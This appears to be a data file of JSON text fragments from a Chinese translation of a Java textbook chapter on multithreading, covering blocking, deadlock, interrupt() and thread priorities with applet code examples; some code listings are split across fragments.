    {"text": "为了在 Ｓｅｎｄｅｒ 和 Ｒｅｃｅｉｖｅｒ 之间建立一个连接，我们创建了一个 ＰｉｐｅｄＷｒｉｔｅｒ 和一个 ＰｉｐｅｄＲｅａｄｅｒ。 注意 ＰｉｐｅｄＲｅａｄｅｒ ｉｎ 必须通过一个构建器参数同 ＰｉｐｅｄＷｒｉｔｅｒｏｕｔ 连接起来。"},
    {"text": "５１６ Ｂｌｏｃｋａｂｌｅ 句柄 ｂ 的数组在定义之初并未得到初始化，因为管道化的数据流是不可在定义前设置好的（对 ｔｒｙ 块的需要将成为障碍）： ／／／：Ｃｏｎｔｉｎｕｉｎｇ ／／／／／／／／／／／ Ｔｅｓｔｉｎｇ Ｅｖｅｒｙｔｈｉｎｇ ／／／／／／／／／／／ ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｌｏｃｋｉｎｇ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）， ｓｔｏｐＰｅｅｋｅｒｓ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔｏｐ Ｐｅｅｋｅｒｓ＂）；"},
    {"text": "ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｔａｒｔｅｄ ＝ ｆａｌｓｅ； ｐｒｉｖａｔｅ Ｂｌｏｃｋａｂｌｅ［］ ｂ； ｐｒｉｖａｔｅ ＰｉｐｅｄＷｒｉｔｅｒ ｏｕｔ； ｐｒｉｖａｔｅ ＰｉｐｅｄＲｅａｄｅｒ ｉｎ； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｏｕｔ ＝ ｎｅｗ ＰｉｐｅｄＷｒｉｔｅｒ（）； ｔｒｙ ｛ ｉｎ ＝ ｎｅｗ ＰｉｐｅｄＲｅａｄｅｒ（ｏｕｔ）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｂ ＝ ｎｅｗ Ｂｌｏｃｋａｂｌｅ［］ ｛ ｎｅｗ Ｓｌｅｅｐｅｒ１（ｔｈｉｓ）， ｎｅｗ Ｓｌｅｅｐｅｒ２（ｔｈｉｓ）， ｎｅｗ ＳｕｓｐｅｎｄＲｅｓｕｍｅ１（ｔｈｉｓ）， ｎｅｗ ＳｕｓｐｅｎｄＲｅｓｕｍｅ２（ｔｈｉｓ）， ｎｅｗ ＷａｉｔＮｏｔｉｆｙ１（ｔｈｉｓ）， ｎｅｗ ＷａｉｔＮｏｔｉｆｙ２（ｔｈｉｓ）， ｎｅｗ Ｓｅｎｄｅｒ（ｔｈｉｓ， ｏｕｔ）， ｎｅｗ Ｒｅｃｅｉｖｅｒ（ｔｈｉｓ， ｉｎ） ｝； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ａｄｄ（ｓｔａｒｔ）； ｓｔｏｐＰｅｅｋｅｒｓ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ｎｅｗ ＳｔｏｐＰｅｅｋｅｒｓＬ（））； ａｄｄ（ｓｔｏｐＰｅｅｋｅｒｓ）； ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（！ ｓｔａｒｔｅｄ） ｛ ｓｔａｒｔｅｄ ＝ ｔｒｕｅ； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｂ［ｉ］．ｓｔａｒｔ（）； ｝ ｝ ｝ ｃｌａｓｓ ＳｔｏｐＰｅｅｋｅｒｓＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ｔｈｅ ｐｒｅｆｅｒｒｅｄ ／／ ａｌｔｅｒｎａｔｉｖｅ ｔｏ Ｔｈｒｅａｄ．ｓｔｏｐ（）： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｂ［ｉ］．ｓｔｏｐＰｅｅｋｅｒ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ５１７ Ｂｌｏｃｋｉｎｇ ａｐｐｌｅｔ ＝ ｎｅｗ Ｂｌｏｃｋｉｎｇ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｂｌｏｃｋｉｎｇ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３５０，５５０）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "首次创建好 Ｂｌｏｃｋａｂｌｅ 线程以后，每个这样的线程都会自动创建并启动自己的 Ｐｅｅｋｅｒ。 所以我们会看到各个 Ｐｅｅｋｅｒ 都在 Ｂｌｏｃｋａｂｌｅ 线程启动之前运行起来。 这一点非常重要，因为在 Ｂｌｏｃｋａｂｌｅ 线程启动的时候，部分 Ｐｅｅｋｅｒ 会被堵塞，并停止运行。"},
    {"text": "１ ４ ． ３ ． ２ 死锁 由于线程可能进入堵塞状态，而且由于对象可能拥有“同步”方法——除非同步锁定被解除，否则线程不能 访问那个对象——所以一个线程完全可能等候另一个对象，而另一个对象又在等候下一个对象，以此类推。"},
    {"text": "１． Ｊａｖａ １．２ 对 ｓｔｏｐ（），ｓｕｓｐｅｎｄ（），ｒｅｓｕｍｅ（）以及 ｄｅｓｔｒｏｙ（）的反对 为减少出现死锁的可能，Ｊａｖａ １．２ 作出的一项贡献是“反对”使用 Ｔｈｒｅａｄ 的 ｓｔｏｐ（），ｓｕｓｐｅｎｄ（），ｒｅｓｕｍｅ（） 以及 ｄｅｓｔｒｏｙ（）方法。"},
    {"text": "所以应尽量避免使用 ｓｔｏｐ（），应该采用 Ｂｌｏｃｋｉｎｇ．ｊａｖａ 那样的方法，用一个标 志告诉线程什么时候通过退出自己的 ｒｕｎ（）方法来中止自己的执行。"},
    {"text": "但在这些情况下，我们仍然不该使用 ｓｔｏｐ（），而应换用由 Ｔｈｒｅａｄ 提供的 ｉｎｔｅｒｒｕｐｔ（）方法，以便中止并 退出堵塞的代码。"},
    {"text": "／／： Ｉｎｔｅｒｒｕｐｔ．ｊａｖａ ／／ Ｔｈｅ ａｌｔｅｒｎａｔｉｖｅ ａｐｐｒｏａｃｈ ｔｏ ｕｓｉｎｇ ｓｔｏｐ（） ／／ ｗｈｅｎ ａ ｔｈｒｅａｄ ｉｓ ｂｌｏｃｋｅｄ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｃｌａｓｓ Ｂｌｏｃｋｅｄ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｒｕｎ（） ｛ ｔｒｙ ｛ ｗａｉｔ（）； ／／ Ｂｌｏｃｋｓ ５１８ ｝ ｃａｔｃｈ（ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ＂）； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｘｉｔｉｎｇ ｒｕｎ（）＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｉｎｔｅｒｒｕｐｔ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｉｎｔｅｒｒｕｐｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｉｎｔｅｒｒｕｐｔ＂）； ｐｒｉｖａｔｅ Ｂｌｏｃｋｅｄ ｂｌｏｃｋｅｄ ＝ ｎｅｗ Ｂｌｏｃｋｅｄ（）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｉｎｔｅｒｒｕｐｔ）； ｉｎｔｅｒｒｕｐｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ ｐｒｅｓｓｅｄ＂）； ｉｆ（ｂｌｏｃｋｅｄ ＝＝ ｎｕｌｌ） ｒｅｔｕｒｎ； Ｔｈｒｅａｄ ｒｅｍｏｖｅ ＝ ｂｌｏｃｋｅｄ； ｂｌｏｃｋｅｄ ＝ ｎｕｌｌ； ／／ ｔｏ ｒｅｌｅａｓｅ ｉｔ ｒｅｍｏｖｅ．ｉｎｔｅｒｒｕｐｔ（）；"},
    {"text": "ｂｌｏｃｋｅｄ．ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｔｅｒｒｕｐｔ ａｐｐｌｅｔ ＝ ｎｅｗ Ｉｎｔｅｒｒｕｐｔ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｉｎｔｅｒｒｕｐｔ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（２００，１００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ Ｂｌｏｃｋｅｄ．ｒｕｎ（）内部的 ｗａｉｔ（）会产生堵塞的线程。 当我们按下按钮以后，ｂｌｏｃｋｅｄ（堵塞）的句柄就会设为 ｎｕｌｌ，使垃圾收集器能够将其清除，然后调用对象的 ｉｎｔｅｒｒｕｐｔ（）方法。"},
    {"text": "尽管两个版本的效果是差不 ５１９ 多的，但大家会注意到代码的组织结构发生了很大的变化——为所有“听众”都使用了匿名的内部类，而且 Ｔｈｒｅａｄ 是一个内部类。"},
    {"text": "／／： Ｓｕｓｐｅｎｄ．ｊａｖａ ／／ Ｔｈｅ ａｌｔｅｒｎａｔｉｖｅ ａｐｐｒｏａｃｈ ｔｏ ｕｓｉｎｇ ｓｕｓｐｅｎｄ（） ／／ ａｎｄ ｒｅｓｕｍｅ（）， ｗｈｉｃｈ ｈａｖｅ ｂｅｅｎ ｄｅｐｒｅｃａｔｅｄ ／／ ｉｎ Ｊａｖａ １．２． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｕｓｐｅｎｄ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１０）； ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｓｕｓｐｅｎｄ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｕｓｐｅｎｄ＂）， ｒｅｓｕｍｅ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｒｅｓｕｍｅ＂）； ｃｌａｓｓ Ｓｕｓｐｅｎｄａｂｌｅ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｕｓｐｅｎｄｅｄ ＝ ｆａｌｓｅ； ｐｕｂｌｉｃ Ｓｕｓｐｅｎｄａｂｌｅ（） ｛ ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｆａｕｘＳｕｓｐｅｎｄ（） ｛ ｓｕｓｐｅｎｄｅｄ ＝ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｆａｕｘＲｅｓｕｍｅ（） ｛ ｓｕｓｐｅｎｄｅｄ ＝ ｆａｌｓｅ； ｎｏｔｉｆｙ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｔｒｙ ｛ ｓｌｅｅｐ（１００）； ｓｙｎｃｈｒｏｎｉｚｅｄ（ｔｈｉｓ） ｛ ｗｈｉｌｅ（ｓｕｓｐｅｎｄｅｄ） ｗａｉｔ（）； ｝ ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ＋＋））； ｝ ｝ ｝ ｐｒｉｖａｔｅ Ｓｕｓｐｅｎｄａｂｌｅ ｓｓ ＝ ｎｅｗ Ｓｕｓｐｅｎｄａｂｌｅ（）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｔ）； ｓｕｓｐｅｎｄ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｓｓ．ｆａｕｘＳｕｓｐｅｎｄ（）；"},
    {"text": "５２０ ｒｅｓｕｍｅ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｓｓ．ｆａｕｘＲｅｓｕｍｅ（）；"},
    {"text": "ａｄｄ（ｒｅｓｕｍｅ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｕｓｐｅｎｄ ａｐｐｌｅｔ ＝ ｎｅｗ Ｓｕｓｐｅｎｄ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｓｕｓｐｅｎｄ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，１００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "就象本章早些时候 提到的那样，ｗａｉｔ（）必须设为“同步”（ｓｙｎｃｈｒｏｎｉｚｅｄ），使其能够使用对象锁。 在 ｆａｕｘＲｅｓｕｍｅ（）中， ｓｕｓｐｅｎｄｅｄ 标志被设为 ｆａｌｓｅ（假），并调用 ｎｏｔｉｆｙ（）——由于这会在一个“同步”从句中唤醒 ｗａｉｔ（），所 以 ｆａｕｘＲｅｓｕｍｅ（）方法也必须同步，使其能在调用 ｎｏｔｉｆｙ（）之前取得对象锁（这样一来，对象锁可由要唤醍的 那个 ｗａｉｔ（）使用）。"},
    {"text": "然而，这并不表示优先级较低的线程不会运行（换言 之，不会因为存在优先级而导致死锁）。 若线程的优先级较低，只不过表示它被准许运行的机会小一些而 已。"},
    {"text": "在下面这个程序片中，大家会 发现计数器的计数速度慢了下来，因为它们关联的线程分配了较低的优先级： ／／： Ｃｏｕｎｔｅｒ５．ｊａｖａ ／／ Ａｄｊｕｓｔｉｎｇ ｔｈｅ ｐｒｉｏｒｉｔｉｅｓ ｏｆ ｔｈｒｅａｄｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｃｌａｓｓ Ｔｉｃｋｅｒ２ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｏｇｇｌｅ＂）， ｉｎｃＰｒｉｏｒｉｔｙ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂ｕｐ＂）， ｄｅｃＰｒｉｏｒｉｔｙ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂ｄｏｗｎ＂）； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１０）， ｐｒ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３）； ／／ Ｄｉｓｐｌａｙ ｐｒｉｏｒｉｔｙ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｒｕｎＦｌａｇ ＝ ｔｒｕｅ； ｐｕｂｌｉｃ Ｔｉｃｋｅｒ２（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ ｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＴｏｇｇｌｅＬ（））； ｉｎｃＰｒｉｏｒｉｔｙ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＵｐＬ（））； ｄｅｃＰｒｉｏｒｉｔｙ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＤｏｗｎＬ（））； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ａｄｄ（ｔ）； ｐ．ａｄｄ（ｐｒ）； ｐ．ａｄｄ（ｂ）； ｐ．ａｄｄ（ｉｎｃＰｒｉｏｒｉｔｙ）； ｐ．ａｄｄ（ｄｅｃＰｒｉｏｒｉｔｙ）； ｃ．ａｄｄ（ｐ）； ｝ ｃｌａｓｓ ＴｏｇｇｌｅＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｒｕｎＦｌａｇ ＝ ！ ｒｕｎＦｌａｇ； ｝ ｝ ｃｌａｓｓ ＵｐＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｎｔ ｎｅｗＰｒｉｏｒｉｔｙ ＝ ｇｅｔＰｒｉｏｒｉｔｙ（） ＋ １； ｉｆ（ｎｅｗＰｒｉｏｒｉｔｙ ＞ Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ） ｎｅｗＰｒｉｏｒｉｔｙ ＝ Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ； ｓｅｔＰｒｉｏｒｉｔｙ（ｎｅｗＰｒｉｏｒｉｔｙ）； ｝ ｝ ｃｌａｓｓ ＤｏｗｎＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｎｔ ｎｅｗＰｒｉｏｒｉｔｙ ＝ ｇｅｔＰｒｉｏｒｉｔｙ（） － １； ｉｆ（ｎｅｗＰｒｉｏｒｉｔｙ ＜ Ｔｈｒｅａｄ．ＭＩＮ＿ＰＲＩＯＲＩＴＹ） ｎｅｗＰｒｉｏｒｉｔｙ ＝ Ｔｈｒｅａｄ．ＭＩＮ＿ＰＲＩＯＲＩＴＹ； ｓｅｔＰｒｉｏｒｉｔｙ（ｎｅｗＰｒｉｏｒｉｔｙ）； ｝ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｉｆ（ｒｕｎＦｌａｇ） ｛ ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ＋＋））； ｐｒ．ｓｅｔＴｅｘｔ（ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｇｅｔＰｒｉｏｒｉｔｙ（）））； ｝ ５２２ ｙｉｅｌｄ（）； ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｕｎｔｅｒ５ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）， ｕｐＭａｘ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｉｎｃ Ｍａｘ Ｐｒｉｏｒｉｔｙ＂）， ｄｏｗｎＭａｘ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｄｅｃ Ｍａｘ Ｐｒｉｏｒｉｔｙ＂）； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｔａｒｔｅｄ ＝ ｆａｌｓｅ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＳＩＺＥ ＝ １０； ｐｒｉｖａｔｅ Ｔｉｃｋｅｒ２［］ ｓ ＝ ｎｅｗ Ｔｉｃｋｅｒ２［ＳＩＺＥ］； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｍｐ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］ ＝ ｎｅｗ Ｔｉｃｋｅｒ２（ｔｈｉｓ）； ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂ＭＡＸ＿ＰＲＩＯＲＩＴＹ ＝ ＂ ＋ Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ））； ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂ＭＩＮ＿ＰＲＩＯＲＩＴＹ ＝ ＂ ＋ Ｔｈｒｅａｄ．ＭＩＮ＿ＰＲＩＯＲＩＴＹ））； ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｇｒｏｕｐ Ｍａｘ Ｐｒｉｏｒｉｔｙ ＝ ＂））； ａｄｄ（ｍｐ）； ａｄｄ（ｓｔａｒｔ）； ａｄｄ（ｕｐＭａｘ）； ａｄｄ（ｄｏｗｎＭａｘ）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ｕｐＭａｘ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＵｐＭａｘＬ（））； ｄｏｗｎＭａｘ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＤｏｗｎＭａｘＬ（））； ｓｈｏｗＭａｘＰｒｉｏｒｉｔｙ（）； ／／ Ｒｅｃｕｒｓｉｖｅｌｙ ｄｉｓｐｌａｙ ｐａｒｅｎｔ ｔｈｒｅａｄ ｇｒｏｕｐｓ： ＴｈｒｅａｄＧｒｏｕｐ ｐａｒｅｎｔ ＝ ｓ［０］．ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）．ｇｅｔＰａｒｅｎｔ（）； ｗｈｉｌｅ（ｐａｒｅｎｔ ！ ＝ ｎｕｌｌ） ｛ ａｄｄ（ｎｅｗ Ｌａｂｅｌ（ ＂Ｐａｒｅｎｔ ｔｈｒｅａｄｇｒｏｕｐ ｍａｘ ｐｒｉｏｒｉｔｙ ＝ ＂ ＋ ｐａｒｅｎｔ．ｇｅｔＭａｘＰｒｉｏｒｉｔｙ（）））； ｐａｒｅｎｔ ＝ ｐａｒｅｎｔ．ｇｅｔＰａｒｅｎｔ（）；"},
    {"text": "｝ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｈｏｗＭａｘＰｒｉｏｒｉｔｙ（） ｛ ｍｐ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ ｓ［０］．ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）．ｇｅｔＭａｘＰｒｉｏｒｉｔｙ（）））； ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（！ ｓｔａｒｔｅｄ） ｛ ｓｔａｒｔｅｄ ＝ ｔｒｕｅ； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］．ｓｔａｒｔ（）； ｝ ｝ ｝ ５２３ ｃｌａｓｓ ＵｐＭａｘＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｎｔ ｍａｘｐ ＝ ｓ［０］．ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）．ｇｅｔＭａｘＰｒｉｏｒｉｔｙ（）； ｉｆ（＋＋ｍａｘｐ ＞ Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ） ｍａｘｐ ＝ Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ； 